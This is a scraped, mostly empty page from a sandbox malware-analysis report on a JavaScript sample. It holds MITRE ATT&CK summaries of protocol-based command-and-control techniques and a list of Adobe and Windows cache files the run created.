Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 14551240011188825169.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5ac247ba-296b-499e-b4d0-501c6ccfabf0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6704

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
14551240011188825169.js